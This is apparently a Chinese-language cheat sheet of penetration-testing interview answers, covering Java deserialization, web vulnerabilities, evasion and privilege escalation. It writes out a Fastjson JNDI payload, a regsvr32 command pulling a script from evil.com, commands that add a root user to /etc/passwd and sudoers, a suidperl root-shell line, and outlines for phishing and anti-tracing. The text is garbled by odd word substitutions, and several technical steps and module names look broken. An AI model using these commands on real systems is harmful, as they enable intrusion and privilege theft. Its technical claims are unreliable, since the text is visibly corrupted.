比如
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true }}
shiro框架
apache的一个权限管理的开源框架,实现 用户认证、用户授权。若shiro框架做事端利用默认密钥,则会存在反序列化漏洞框架特色:cookie字段为存在rememberMe=xxxxx;
一个基于JAVAEE架构的中间件weblogic存在许多漏洞,弱口令,SSRF,反序列化,任意文件上传,XMLDecoder反序列化框架特色,一样平常在7001端口,漏洞检测常用工具

最常见的java web容器漏洞,弱口令,幽灵猫,PUT方法任意写文件框架特色,一样平常为8080端口
怎么防御csrf提交表单时,增加一个隐蔽的token验证 HTTP Referer 字段OSI七层协议物理层 数据链路层 网络层 传输层 会话层 表示层 运用层
盲注是什么?便是你在测试注入数据库的时候,数据库没有任何回显,只显示对错。
你会用什么办法溯源攻击方的个人信息呢首先通过日志和蜜罐等办法获取到攻击方的 ip,可以对 ip 进行反向渗透获取信息,定位攻击者信息。也可以通过搜索引擎或者安全情报,获取 ip 对应攻击者的网名id,再通过社交平台获取攻击者的信息通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源剖析如果攻击者有栽种木马等,可以提取样本特色如用户名、ID、邮箱、C2 做事器等信息—同源剖析搭载 jsonp 钓鱼的蜜罐,通过 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等和甲方上报 IP 地址,你要上报哪些地址呢?上报攻击 ip 的地址,先判断是内网 ip 还是公网 ip,如果是内网ip,查看是否是业务白名单行为,若不是再上报进行判断。若是公网 ip,查看是否在白名单内,若不是查看是否是扫描器 ip,若是扫描器 ip,扫描对业务或者对研判产生了影响则可以上报,若不是且判断出是真实攻击 ip 也进行上报。
怎么通过流量剖析 ,判断出对方攻击成功了?可以通过返回包判断攻击是否成功,比如命令实行攻击有回显的话返回包就会有命令实行的结果。如果有一些安全设备的话也可以通过查看告警信息判断。可以对要求包进行重放来判断,在自己的机器上重放流量包,将 payload 改本钱身的 payload 来判断是否攻击成功如果攻击的回显有延迟或者说攻击生效须要一定的韶光 ,你不能很快瞥见 ,那该怎么通过流量剖析判断出攻击是否生效了?重放流量包,将 payload 改本钱身的来进行判断。
xss除了获取cookie还能干什么?答:用户挟制、结合csrf补充:貌似能提权??
ssrf的事理与危害?答:假造做事器给内网发
XSS,CSRF和SSRF差异?(很常问)XSS:跨站脚本攻击;
CSRF:跨站要求假造脚本攻击;
SSRF:做事器要求假造攻击。
差异:
XSS是做事器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染做事器返回的html页面时,涌现了预期值之外的 脚本语句被实行。
CSRF:CSRF是做事器端没有对用户提交的数据进行随机值校验,且对http要求包内的refer字段校验不严,导致攻击者可以 利用用户的Cookie信息假造用户要求发送至做事器。
SSRF:SSRF是做事器对用户供应的可控URL过于信赖,没有对攻击者供应的URL进行地址限定和足够的检测,导致攻击者可以以此为跳板攻击内网或其他做事器。
CSRF (Cross-site request forgery)跨站要求假造SSRF (Server-Side Request Forgery)做事器端要求假造csrf 一个是客户端发起,ssrf是从做事端发起的
如何探求注入点?答:字符,数字,盲注…
有用过sql注入传马吗?答:用过into outfile补充:可以通过日志文件写入木马
–os-shell的条件?答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径。
Fastjson的事理?答:启一个rmi的做事器,上面挂payload,让被攻击的目标反序列化特定的类,这个类终极会调用lookup()函数,导致jndi接口指向rmi做事器上的恶意payload
利用fastjson注入内存马事理?答:不知道这里该当怎么说,例如spring mvc的话便是通过fastjson的反序列化,利用jndi的办法让web端加载恶意类,注入controller
内存马免杀有做过吗?详细说说答:没做过,在网上找现成的补充:Filter名称是否合理Filter对应的类名是否合理Filter对应的类是否在classpath下网站web.xml中是否存在改filter
不借助dnslog有办法检测log4j2是否出网吗答:dns到vps判断是否出网补充:利用logg.error(“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息
你是如何验证struts2是否存在的答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload
有做过代码审计吗?有0day吗?答:没有,没有
Redis未授权有理解吗?答:有,可以合营ssrf打组合拳
Springboot 有哪些漏洞?答:只知道一个snakeyaml
冰蝎和菜刀等webshell工具有什么差异?答:冰蝎有流量动态加密
xxe事理与攻击手腕?答:解析XML输入时可以加载外部实体类,造成文件读取,命令实行等危害。直接dtd加载dnslog等等
序列化与反序列化的差异1.序列化:把工具转化为可传输的字节序列过程称为序列化。2.反序列化:把字节序列还原为工具的过程称为反序列化。
数据库有哪些,关系型的和非关系型的分别是哪些关系型MySQL:3306SQL Server:1433Oracle:1521DB2:5000MongoDB:27017---非关系型数据库
非关系型
Redis:6379Memcached:11211PHP反序列化
PHP代码实行的危险函数
call_user_func()call_user_func_array()create_function()array_map()
PHP命令实行函数systemshell_execpassthruexecpopenproc_openputenvassert
如何判断当前主机是否在域环境内?ipconfig /all看dns后缀,systeminfo、net config workstation、net time /domain
linux和windows怎么判断?linux大小写敏感
什么是免杀将shellcode进行加密,动态解密规复,申请可写可实行内存并写入解密后的shellcode,将函数指针指向这块内存的起始位置并开始实行。
免杀有几种路子?答:修正特色码、流量稠浊、花指令、加壳
内网扫描的办法内网fscan扫描 或者 搭建内网socks5代理然后走代理进行扫描
谈谈Windows系统提权的思路1、系统内核溢出漏洞提权
2、数据库提权
3、缺点的系统配置提权
4、web 中间件漏洞提权
5、第三方软件提权
说详细一些
eImpersonatePrivilege提权
1.实行whoami /priv命令,查看当前用户是否拥有SeImpersonatePrivilege权限。
2.如果拥有权限,利用Impersonate-User脚本提权。该脚本会创建一个新的进程,并利用当前用户的权限实行该进程。
3.如果没有该权限,利用PowerUp脚本,该脚本会检测系统中是否存在可利用的漏洞,并供应相应的利用方法。
DLL挟制提权
1.找到可挟制的DLL文件,如“user32.dll”。
2.创建恶意DLL文件,并将其重命名为“user32.dll”。
3.将恶意DLL文件放置在系统目录下,等待用户或系统调用“user32.dll”时,恶意DLL文件会被加载,从而可以得到系统权限。
Token提权
1.实行whoami /groups命令,查看当前用户所属的组。
2.利用PsExec工具,实行命令psexec -i -d -s cmd.exe,可以得到一个System权限的命令行窗口。
3.在命令行窗口中实行whoami /groups命令,可以看到当前用户已经拥有System权限的token。
Schtasks提权
1.利用schtasks /query命令查看当前系统中的操持任务。
2.找到一个可利用的操持任务,如“System Restore Checkpoint”任务。
3.利用Metasploit框架中的exploit/windows/local/schtasks模块,可修正该任务的参数,从而得到系统权限。
Windows Installer提权
1.实行msiexec /i命令,安装一个恶意的MSI文件。
2.在安装过程中,会自动创建一个System权限的进程。
3.利用该进程,可以实行任意的命令,从而得到系统权限。
做事提权
1.利用sc或net start命令查看当前正在运行的做事。
2.找到一个可利用的做事,如“Print Spooler”做事。
3.利用Metasploit框架中的exploit/windows/local/service_permissions模块,可提升该做事的权限,从而得到系统权限。
Windows Subsystem for Linux提权
1.Windows系统中安装Windows Subsystem for Linux(WSL)。
2.在WSL中安装Metasploit框架。
3.利用Metasploit框架中的exploit/linux/local/sudo模块,可提升当前用户的权限,从而得到系统权限。
利用COM提权
1.实行regsvr32 /s /u /i:https://evil.com/evil.sct scrobj.dll命令,注入一个恶意的COM脚本。
2.注入成功后,会自动实行该脚本,并创建一个System权限的进程。
3.利用该进程,可以实行任意的命令,从而得到系统权限。
Kernel提权
1.实行systeminfo命令,查看当前系统的信息。
2.找到一个可利用的漏洞,如CVE-2019-1458漏洞。
3.利用Metasploit框架中的exploit/windows/local/kernel模块,可利用该漏洞提升当前用户的权限,从而得到系统权限。
Windows Management Instrumentation提权
1.实行wmic service list brief命令,查看当前正在运行的做事。
2.找到一个可利用的做事,如“Winmgmt”做事。
3.利用Metasploit框架中的exploit/windows/local/wmi模块,可提升该做事的权限,从而得到系统权限。
Linux系统提权的思路SUID提权
1.查找具有SUID权限的文件:find / -perm -4000 -type f 2>/dev/null
2.查看这些文件是否有漏洞:strings /usr/bin/sudo | grep "^"、strings /usr/bin/passwd | grep "^"
3.找到一个有漏洞的文件,利用漏洞获取root权限
内核提权
1.查看内核版本:uname -a
2.查找内核漏洞:searchsploit Linux Kernel <version> | grep -i "privilege escalation"
3.找到一个有漏洞的内核,利用漏洞获取root权限。
/etc/passwd提权
1.在/etc/passwd中添加一个新用户:echo "hacker::0:0:hacker:/root:/bin/bash" >> /etc/passwd
2.切换到新用户:su hacker
3.获取root权限:sudo su
LD_PRELOAD提权
1.编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c
2.设置LD_PRELOAD环境变量:export LD_PRELOAD=/path/to/rootkit.so
3.运行一个程序,就能够以root权限运行:sudo /usr/bin/vim
/etc/sudoers提权
1.查看是否存在可利用的sudoers文件:cat /etc/sudoers、cat /etc/sudoers.d/
2.如果存在可利用的sudoers文件,就可以添加一条提权规则:echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
3.切换到hacker用户,就能够以root权限运行:sudo su
列举系统提权
1.查找系统中的敏感文件:find / -name .txt -o -name .log -o -name .conf -o -name .sh
2.查看这些文件是否有漏洞,是否包含root密码等信息。
3.利用这些信息获取root权限。
系统做事提权
1.查看正在运行的系统做事:ps aux | grep root
2.查找这些做事是否有漏洞:searchsploit <service> | grep -i "privilege escalation"
3.找到一个有漏洞的做事,利用漏洞获取root权限。
/etc/shadow提权
1.查看/etc/shadow文件是否有漏洞:cat /etc/shadow
2.如果存在可利用的漏洞,就可以利用漏洞获取root权限。
suidperl提权
1.查找系统中是否安装suidperl:find / -name suidperl 2>/dev/null
2.如果存在suidperl,可利用漏洞获取root权限:suidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
木马驻留系统的办法有哪些?1、注册表
2、操持任务
3、做事
4、启动目录
5、关联文件类型
内网提权思路1.代理穿透2.权限坚持3.内网信息网络4.口令爆破5.凭据盗取6.社工7.横行和纵向渗透8.拿下域控
Win提权可分为纵向提权与横向提权:纵向提权:低权限角色得到高权限角色的权限;横向提权:获取同级别角色的权限。
方法: 1.系统内核溢出漏洞提权 2.数据库提权 3.缺点的系统配置提权 4.组策略首选项提权 5.WEB中间件漏洞提权 6.DLL挟制提权 7.滥用高危权限令牌提权 8.第三方软件/做事提权等
Linux
方法:1.Linux内核漏洞提权2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID)3.环境变量挟制高权限程序提权4.sudoer配置文件缺点提权
权限坚持的思路?
答:加做事,加注册表 加启动项
大略说一下mssql提权答:我只记得xp_cmdshell和自启动补充:trigger提权、沙盒提权、操持任务提权、sethc.exe 更换粘滞键提权(更换c:\windows\system32\下的sethc.exe更换c:\windows\system32\dllcache\sethc.exe)
逻辑漏洞碰着过哪些,给你登录框有没有什么思路?常见逻辑漏洞:越权,相应包修正,支付金额修正,cookie爆破,密码找回方面等等登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等
打点一样平常会用什么漏洞?优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打点,随后再找其他薄弱性易打进去的点。由于javaweb程序运行都因此高权限有限运行,部分可能会降权。
什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复办法?逻辑漏洞是指由于程序逻辑不严或逻辑太繁芜,导致一些逻辑分支不能够正常处理或处理缺点。
拿支付漏洞来说,大略思路有价格修正,支付状态修正,数量最大值溢出,订单更换,支付接口更换,四舍五入,越权支付等等。
拿登录来说,修正状态信息,密码修正跳过验证等等。
密码找回漏洞中存在:
1)密码许可暴力破解、
2)存在通用型找回凭据、
3)可以跳过验证步骤、
4)找回凭据可以拦包获取。
身份认证漏洞中最常见的是:1)会话固定攻击、
2)Cookie 仿冒。只要得到 Session 或 Cookie 即可假造用户身份。
验证码漏洞中存在:
1)验证码许可暴力破解、
2)验证码可以通过 Javascript 或者改包的方法来进行绕过。
常见的中间件漏洞知道哪些?
IIS:PUT漏洞、短文件名猜解、远程代码实行、解析漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码实行、war后门文件支配等
JBoss:反序列化漏洞、war后门文件支配等
WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件支配等
WAF绕过的手腕你知道哪些?这里从以sql注入为例,从三个层面大略总结一下手腕。
1.从架构层面:找到做事器真实IP,同网段绕过,http和https同时开放做事绕过,边缘资产漏洞利用绕过。
2.从协议层面:分块延时传输,利用pipline绕过,利用协议未覆盖绕过,POST及GET提交绕过。
3.从规则层面:编码绕过,等价符号更换绕过,普通注释和内敛注释,缓冲区溢出,mysql黑邪术,白名单及静态资源绕过,文件格式绕过,参数污染。等等等等等等
SQL注入事理的种类?防御呢?预编译事理?
事理:在数据交互中,前真个数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“数
据”拼接到SQL语句中后,被当作SQL语句的一部分实行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等。
修复:利用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等。
预编译事理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后真个SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中实行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
JAVA反序列化理解吗?有没有理解过shrio反序列化?(最常问,无论hvv还是事情口试)?Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其浸染把工具转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,浸染便是把字节流还原成工具。
shiro反序列化紧张是Apache shiro供应了一个remember的一个功能,用户登录成功后会天生经由加密并编码的cookie,保存在浏览器中方便用户的日常利用,而做事器对cookie的处理流程便是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞便是涌如今这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修正或者过于大略,那我们就可以进行cookie重构,先布局我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而做事器在处理时就会按照刚才的处理流程,就会在做事端触发我们布局的恶意代码。
讲诉一些近期及有代表性的漏洞?Microsoft Exchange.Net反序列化远程实行(CVE-2020-0688):该漏洞是由于Exchange掌握面板(ECP)组件中利用了静态密钥validationKey和decryptionKey。
Apache Tomcat 文件包含漏洞(CVE-2020-1938):默认情 况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实 现上存在漏洞,导致攻击者可以通过发送恶意的要求,可 以读取或者包含Web根目录下的任意文件,合营文件上 传,将导致任意代码实行(RCE)。
Weblogic IIOP反序列化漏洞(CVE-2020-2551): weblogic核心组件中IIOP协议,通过该协议对存在漏洞 的WebLogic进行远程代码实行的攻击。
Apache Solr远程代码实行(CVE-2019-12409):默认 配置文件solr.in.sh,在其配置文件中 ENABLE_REMOTE_JMX_OPTS字段默认配置不屈安.如果 利用默认配置,将启用JMX监视做事并将对公网监听 18983的RMI端口,无需任何验证,合营JMX RMI远程代码 实行。
泛微Ecology OA SQL注入漏洞:validate.jsp接口的SQL 注入,/cpt/manage/validate.jsp。
泛微ecology OA系统接口存在数据库配置信息透露: /mobile/dbconfigreader.jsp,直接访问该页面将为DES加 密往后的乱码,利用DES算法结合硬编码的key进行解 密。
Confluence本地文件透露漏洞(CVE-2019- 3394) :
catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的 getResource方法的validate存在过滤和限定,以是可遍 历路径均在/WEB-INF下。
Apache Dubbo反序列化漏洞(CVE-2019-17564):当 HTTP remoting 开启的时候,存在反序列化漏洞。
水坑攻击和鱼叉攻击的差异是什么?水坑攻击指的便是黑客通过剖析被攻击者常常访问的网络活动规律,探求被攻击者常常访问的网站的
弱点,先攻击该网站植入攻击代码,等待被攻击者来访时履行攻击。
鱼叉攻击是指利用木马程序作为电子邮件的附件,发送到目标电脑,勾引受害者去打开附件传染木马。
邮件钓鱼的准备事情有哪些?钓鱼邮件,即一种假造邮件,是指利用伪装的电子邮件,来欺骗收件人点击恶意 URL,或勾引收件人
下载带恶意程序的可实行文件。
1、确定邮件钓鱼的形式:链接、文件
2、网络目标干系的邮箱
3、编写钓鱼邮件文案
黑战士4、匿名邮箱
5、木马免杀测试、钓鱼站点搭建
6、反溯源
代码实行、文件读取、命令实行的函数有哪
些?
文件实行:eval、call_user_func、call_user_array 等
文件读取:fopen()、readfile()、fread()、file()等
命令实行:system()、exec()、shell_exec()、passthru()、pcntl_exec()等